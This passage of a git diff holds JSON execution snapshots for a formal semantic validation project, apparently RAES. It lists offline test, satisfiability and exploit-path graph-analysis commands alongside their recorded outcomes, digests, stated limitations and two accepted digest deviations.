"implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v17", + "corpus_revision": "3.0.0", + "deviations": [], + "execution_id": "issue-342-execution-v17", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml", + "implementations/python/tests/test_semantics_planner.py", + "specs/formal/workflows/state-machine.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "implementations/python/tests/test_pipeline_determinism.py" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "7f5f00e1eb5dd20a48ea37ec77ce40e80cc7d4659cfd7d96384757d606758835", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "a9378baf6fe8493bf8f59f25273a88361032d135f73a0f1da9ebf7e4c7000c6c", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v17", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-342-execution-v17", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "5152cfbaa8f73c1620a08c19202fd02943fb8aaf", + "source_state": { + "base_revision": "5152cfbaa8f73c1620a08c19202fd02943fb8aaf", + "checkout_state": "modified", + "implementation_digest": "f7d7ee3d08e9dbcbb47abfcd97ee72a9ab4e3a222afb8070bb8a902c008e6e66", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.12.3", + "raes": "4.1.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v18.json b/docs/research/formal-semantic-validation/execution-snapshot-v18.json new file mode 100644 index 000000000..680c75ac3 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v18.json @@ -0,0 +1,696 @@ +{ + "baseline": { + "execution_id": "issue-342-execution-v17", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v17.json", + "release_revision": "18.0.0", + "release_sha256": "8ed0f725b2b25a438af51929ec5a9a6462105f05d29507c1068725310e8e81d6" + }, + "captured_at": "2026-09-15T20:15:40.771565+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v18", + "corpus_revision": "3.0.0", + "deviations": [ + { + "baseline": { + "actual_outcome": "stable", + "diagnostic_kind": null, + "result_digest": "7f5f00e1eb5dd20a48ea37ec77ce40e80cc7d4659cfd7d96384757d606758835" + }, + "case_id": "compile-repeatability-control", + "category": "compiled-representation-change", + "changed_fields": [ + "result_digest" + ], + "disposition": "accepted", + "rationale": "The compiled model now carries a separate optional materialization description. Its serialized representation changes the compiled digest; replayed outcomes and claim strength are unchanged.", + "retest": { + "actual_outcome": "stable", + "diagnostic_kind": null, + "result_digest": "f39cd4f7146056764ce385028767eb862cdaa11d1ffda85c1d735e4367fb64cf" + } + }, + { + "baseline": { + "actual_outcome": "distinguishable", + "diagnostic_kind": null, + "result_digest": "a9378baf6fe8493bf8f59f25273a88361032d135f73a0f1da9ebf7e4c7000c6c" + }, + "case_id": "compile-non-vacuity-control", + "category": "compiled-representation-change", + "changed_fields": [ + "result_digest" + ], + "disposition": "accepted", + "rationale": "The compiled model now carries a separate optional materialization description. Its serialized representation changes the compiled digest; replayed outcomes and claim strength are unchanged.", + "retest": { + "actual_outcome": "distinguishable", + "diagnostic_kind": null, + "result_digest": "66c64ed1807210579d2450a7b22032c3392db3f6b7fc639cdd898f61705c8c9a" + } + } + ], + "execution_id": "issue-1241-execution-v18", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid.sdl.yaml" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "fadacf4359c97415f5433563e675d454c587917c85064b625d9756e4da1c4967", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref.sdl.yaml" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v18", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-1241-execution-v18", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + 